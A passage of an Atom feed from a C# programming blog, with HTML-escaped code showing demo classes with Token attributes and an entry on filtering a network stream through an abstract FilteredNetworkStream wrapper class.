class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Runtime&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Serialization&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;StreamingContext&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;context&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;214&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;base&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;info&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;context&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;215&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;216&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;217&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;class&lt;/span&gt; &lt;span class=&#34;nc&#34;&gt;ABC&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;218&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;219&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;na&#34;&gt;        [Token(&amp;#34;ABCSearch&amp;#34;)]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;220&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;void&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;SearchFor&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;kt&#34;&gt;string&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;tag&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;State&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;state&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;string&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;cmdLine&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;ref&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;string&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;outData&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;221&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;222&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;c1&#34;&gt;// do some stuff.&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;223&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;n&#34;&gt;outData&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;224&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;kt&#34;&gt;string&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Format&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;You called ABC.SearchFor. Parameters were [tag: {0}, state: {1}, cmdLine: {2}]&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;tag&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;state&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Text&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;cmdLine&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;225&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;226&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;       &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;227&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;228&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;229&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;class&lt;/span&gt; &lt;span class=&#34;nc&#34;&gt;JKLM&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;230&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;231&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;na&#34;&gt;        [Token(&amp;#34;JklmDoSomething&amp;#34;)]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;232&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;void&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Dowork1&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;kt&#34;&gt;string&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;tag&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;State&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;state&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;string&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;cmdLine&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;ref&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;string&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;outData&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;233&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;234&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;c1&#34;&gt;// do some other stuff.&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;235&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;n&#34;&gt;outData&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;236&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;kt&#34;&gt;string&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Format&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;You called JKLM.Dowork1. Parameters were [tag: {0}, state: {1}, cmdLine: {2}]&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;tag&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;state&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Text&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;cmdLine&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;237&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;238&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;239&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;240&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;</content>
	</entry>
	<entry>
		<title>Filtering a network stream using a wrapper</title>
		<id>https://blog.thoward37.me/articles/filtering-a-network-stream-using-a-wrapper</id>
		<link rel="alternate" href="https://blog.thoward37.me/articles/filtering-a-network-stream-using-a-wrapper" type="text/html"></link>
		<link rel="via" href="https://blog.thoward37.me/articles/filtering-a-network-stream-using-a-wrapper" type="text/html"></link>
		<link rel="related" href="https://blog.thoward37.me/articles/filtering-a-network-stream-using-a-wrapper" type="text/html"></link>
		<published>2008-05-15T16:18:00+00:00</published>
		<updated>2008-05-15T16:18:00+00:00</updated>
		<author>
			<name>Troy Howard</name>
			<uri>https://blog.thoward37.me/</uri>
			<hypergraph:favicon>https://blog.thoward37.me/css/portland.png</hypergraph:favicon>
		</author>
		<summary type="html">&lt;p&gt;So not that long ago, someone posted a question asking how to deal with a certain situation. The situation is such that there is a network file stream coming from somewhere, that has certain data you want to keep, and certain data you don&#39;t want to keep. Control blocks, extra header information, weirdo protocols, too much data coming back from an API, etc...&lt;/p&gt;&#xA;&lt;p&gt;My suggestion was to create a simple container object (aka wrapper) to the existing network stream, that operates the same as the network stream, but does the necessary filtering.&lt;/p&gt;&#xA;&lt;p&gt;&lt;span class=&#34;more&#34;&gt;&lt;/span&gt;&lt;/p&gt;&#xA;&lt;p&gt;Here&#39;s an example of how you&#39;d use it, and and example base class implementation of for the filters follows it. In the actual problem case example, he was dealing with a &lt;code&gt;NetworkStream&lt;/code&gt; that contained XML data in irregular chunks, with control blocks as fixed headers. Each header indicates how much XML data follows. The filter will remove the headers as needed, presenting a simple stream of XML data to the &lt;code&gt;XmlReader&lt;/code&gt; to parse.&lt;/p&gt;&#xA;&lt;p&gt;I&#39;ve left out the concrete implementation that actually parses the stream, and here you just have the &lt;code&gt;FilteredNetworkStream&lt;/code&gt; base class and an idea of how to use it once you implement it. All that&#39;s left for the implementer is to override the abstract method &lt;code&gt;FilterBeforeRead&lt;/code&gt;, which contains the customized filtering logic for the particular situation.&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 1&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;using&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;NetworkStream&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;inputStream&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;GetNetworkStreamFromSomewhere&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;())&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 2&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;using&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;StreamWriter&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;outputStream&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;new&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;StreamWriter&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;@&amp;#34;C:\Path\To\File.xml&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;false&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;))&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 3&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;n&#34;&gt;XmlReader&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;reader&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;XmlReader&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Create&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;k&#34;&gt;new&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;FilteredNetworkStream&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;inputStream&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;));&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 4&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;while&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;reader&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Read&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;())&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 5&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;c1&#34;&gt;// method returns empty string if current data is discardable &lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 6&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;kt&#34;&gt;string&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;outputData&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;GetDesiredDataFromReader&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;reader&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 7&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;if&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(!&lt;/span&gt;&lt;span class=&#34;kt&#34;&gt;string&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;IsNullOrEmpty&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;outputData&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;))&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 8&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;c1&#34;&gt;// save desired data to local file&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 9&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;n&#34;&gt;outputStream&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Write&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;outputData&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;10&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;11&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;12&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;}&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Here&#39;s the base class:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 1&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;abstract&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;class&lt;/span&gt; &lt;span class=&#34;nc&#34;&gt;FilteredNetworkStream&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Stream&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 2&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;FilteredNetworkStream&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;NetworkStream&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;baseStream&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 3&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;n&#34;&gt;_baseStream&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;baseStream&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 4&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 5&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;protected&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;NetworkStream&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;_baseStream&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 6&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;abstract&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;void&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;FilterBeforeRead&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;();&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 7&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 8&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;cp&#34;&gt;#region Stream Implementation&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 9&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;override&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;bool&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;CanRead&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;10&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;get&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;_baseStream&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;CanRead&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;11&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;12&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;override&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;bool&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;CanSeek&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;13&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;get&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;_baseStream&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;CanSeek&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;    &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;14&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;15&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;override&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;bool&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;CanWrite&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;16&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;get&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;_baseStream&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;CanWrite&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;17&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;18&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;override&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;void&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Flush&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span 